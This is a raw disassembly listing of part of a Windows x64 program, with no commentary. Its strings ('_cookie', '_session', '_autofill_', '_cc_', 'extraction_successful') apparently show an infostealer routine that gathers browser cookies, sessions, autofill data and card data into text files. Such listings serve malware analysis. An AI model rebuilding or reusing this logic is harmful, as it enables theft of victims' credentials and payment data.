mov byte [rax], cl
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rsp + 0x58]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 7
lea rdx, str._cookie
lea rcx, [rbp - 0x60]
call fcn.14002c660
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2f0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.14002f2b0
nop
lea rcx, [rsp + 0x58]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x20]
call fcn.14002f2b0
mov rax, qword [rbp - 0x40]
mov r8, qword [rax + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, r8
cmp rcx, r10
jb 0x140016c1c
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001605c
mov r9, qword [rax]
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x140016069
mov rcx, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
mov r8, rax
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x40]
call fcn.140036b80
nop
mov r8d, 1
lea rdx, [0x140288cbc]
lea rcx, [rbp + 0x40]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor ecx, ecx
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 8
lea rdx, str._session
lea rcx, [rbp - 0x80]
call fcn.14002c660
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2d0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.14002f2b0
nop
lea rcx, [rbp - 0x30]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x40]
call fcn.14002f2b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
lea rax, [rbp + 0x20]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x20]
call fcn.14002c8e0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x380]
lea rcx, [rbp - 0x60]
call fcn.14002c8e0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x190]
call fcn.14000ea60
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x1e0]
lea rcx, [rsp + 0x58]
call fcn.14002c8e0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp - 0x80]
call fcn.14002c8e0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
lea rcx, [rbp + 0x1d0]
call fcn.14000f410
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov r8, qword [rbp + 0x18]
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x1a0]
call fcn.14000fc00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
lea rax, [rbp + 0x20]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x20]
call fcn.14002c8e0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x320]
lea rcx, [rbp - 0x60]
call fcn.14002c8e0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x1b0]
call fcn.140010650
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x2c0]
lea rcx, [rsp + 0x58]
call fcn.14002c8e0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x340]
lea rcx, [rbp - 0x80]
call fcn.14002c8e0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x1c0]
call fcn.1400116f0
nop
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, 8
jb 0x140016c16
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140016311
mov r9, qword [rax]
mov qword [rsp + 0x30], 8
lea rcx, str._output_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r8, rax
movzx edx, r14b
lea rcx, [rbp + 0x20]
call fcn.140036b80
nop
mov rax, qword [rbp - 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001634d
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x20]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 5
lea rdx, str._log_
lea rcx, [rbp - 0x60]
call fcn.14002c660
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2b0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x20]
call fcn.14002f2b0
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, 8
jb 0x140016c10
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140016402
mov r9, qword [rax]
mov qword [rsp + 0x30], 8
lea rcx, str._output_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r8, rax
movzx edx, sil
lea rcx, [rbp - 0x80]
call fcn.140036b80
nop
mov rax, qword [rbp - 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001643e
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x80]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 0xa
lea rdx, str._autofill_
lea rcx, [rsp + 0x58]
call fcn.14002c660
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x280], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x290], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rsp + 0x58]
call fcn.14002f2b0
nop
lea rcx, [rbp - 0x80]
call fcn.14002f2b0
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, 8
jb 0x140016c0a
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400164fa
mov r9, qword [rax]
mov qword [rsp + 0x30], 8
lea rcx, str._output_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r8, rax
movzx edx, bl
lea rcx, [rbp + 0x20]
call fcn.140036b80
nop
mov rax, qword [rbp - 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140016535
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x20]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 4
lea rdx, str._cc_
lea rcx, [rbp - 0x60]
call fcn.14002c660
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x260], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x270], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x20]
call fcn.14002f2b0
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, 8
jb 0x140016c04
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400165ea
mov r9, qword [rax]
mov qword [rsp + 0x30], 8
lea rcx, str._output_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r8, rax
movzx edx, dil
lea rcx, [rbp - 0x80]
call fcn.140036b80
nop
mov rax, qword [rbp - 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140016626
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x80]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 8
lea rdx, str._cookie_
lea rcx, [rsp + 0x58]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
xor ecx, ecx
mov qword [rbp + 0x210], rcx
mov qword [rbp + 0x218], rcx
mov rdx, rax
lea rcx, [rbp + 0x200]
call fcn.14002f4b0
nop
lea rcx, [rsp + 0x58]
call fcn.14002f2b0
nop
lea rcx, [rbp - 0x80]
call fcn.14002f2b0
lea r8, str._output_
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x60]
call fcn.140030530
nop
mov r8, qword [rbp - 0x10]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140030760
nop
lea r8, str._sessions_
mov rdx, rax
lea rcx, [rbp + 0x3a0]
call fcn.1400305a0
nop
lea rcx, [rbp + 0x20]
call fcn.14002f2b0
nop
lea rcx, [rbp - 0x60]
call fcn.14002f2b0
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0xe0]
call fcn.140028300
mov qword [rsp + 0x50], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp - 0x30]
call fcn.140030530
nop
lea r8, [rbp + 0x150]
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140030760
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400305a0
nop
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call fcn.1400128c0
nop
lea rcx, [rbp - 0x80]
call fcn.14002f2b0
nop
lea rcx, [rbp - 0x30]
call fcn.14002f2b0
lea rax, [rbp + 0xd0]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xd0]
call fcn.140028300
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x58]
call fcn.14002c8e0
mov qword [rsp + 0x78], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x280]
lea rcx, [rbp - 0x30]
call fcn.140030680
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400305a0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140012d40
nop
lea rcx, [rbp - 0x30]
call fcn.14002f2b0
lea rax, [rbp + 0xc0]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xc0]
call fcn.140028300
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x58]
call fcn.14002c8e0
mov qword [rsp + 0x78], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x260]
lea rcx, [rbp - 0x30]
call fcn.140030680
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400305a0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.1400131d0
nop
lea rcx, [rbp - 0x30]
call fcn.14002f2b0
lea rax, [rbp + 0xf0]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0xf0]
call fcn.140028300
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x58]
call fcn.14002c8e0
mov qword [rsp + 0x78], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x200]
lea rcx, [rbp - 0x30]
call fcn.140030680
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400305a0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140013750
nop
lea rcx, [rbp - 0x30]
call fcn.14002f2b0
lea rax, [rbp + 0x100]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x100]
call fcn.140028300
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x58]
call fcn.14002c8e0
mov qword [rsp + 0x78], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp - 0x30]
call fcn.140030680
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400305a0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140014170
nop
lea rcx, [rbp - 0x30]
call fcn.14002f2b0
lea rdx, str.extraction_successful
lea rcx, [0x1402ded40]
call fcn.1400324a0
nop
lea rcx, [rbp + 0x3a0]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x200]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x260]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x280]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x2a0]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x1c0]
call fcn.14000f3c0
nop
lea rcx, [rbp + 0x1b0]
call fcn.14000f3c0
nop
lea rcx, [rbp + 0x1a0]
call fcn.14000f3c0
nop
lea rcx, [rbp + 0x1d0]
call fcn.14000f3c0
nop
lea rcx, [rbp + 0x190]
call fcn.14000f3c0
nop
lea rcx, [rbp + 0x2c0]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x2e0]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x1e0]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x300]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x220]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x3c0]
call fcn.14002f1a0
nop
lea rcx, [rbp + 0x3e0]
call fcn.14002f1a0
nop
lea rcx, [rbp + 0x170]
call fcn.14002f1a0
nop
lea rcx, [rbp + 0x320]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x340]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x360]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x400]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x380]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x240]
call fcn.14002f1a0
nop
lea rcx, [rbp + 0x420]
call fcn.14002f1a0
nop
lea rcx, [rbp + 0x150]
call fcn.14002f2b0
mov rcx, qword [rbp + 0x70]
add rcx, 0x20
mov qword [rbp + 0x70], rcx
cmp rcx, qword [rbp + 0xb8]
jne 0x140014f10
mov rbx, qword [rbp - 0x40]
mov rdi, qword [rbp]
mov rsi, qword [rbp + 0x18]
mov rdx, qword [rbp + 0xa0]
xor r14d, r14d
mov rcx, rdx
call fcn.14002f020
nop
mov rcx, qword [rbp + 0xa8]
call fcn.14002f2b0
nop
mov rcx, qword [rbp - 0x10]
call fcn.14002f2b0
nop
mov rcx, qword [rbp + 0x68]
call fcn.14002f1a0
nop
mov rcx, rdi
call fcn.14002f2b0
nop
mov rcx, qword [rbp + 0xb0]
call fcn.14002f2b0
nop
mov rcx, qword [rsi]
test rcx, rcx
je 0x140016bcd
mov rdx, qword [rsi + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140016bbd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140016bfe
mov rcx, r8
call fcn.1401e2eb0
mov qword [rsi], r14
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r14
mov rcx, rbx
call fcn.14002f2b0
mov rcx, qword [rbp + 0x440]
xor rcx, rsp
call fcn.1401e2e90
add rsp, 0x558
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140001d50
nop
call fcn.1401f8a98
nop
call fcn.140001d50
nop
call fcn.140001d50
nop
call fcn.140001d50
nop
call fcn.140001d50
nop
call fcn.140001d50
nop
call fcn.140001d50
nop
call fcn.140001d50
nop
call fcn.140001d50
nop
call fcn.140001d50
nop
call fcn.140001d50
nop
call fcn.140001d50
nop
call fcn.140001d50
int3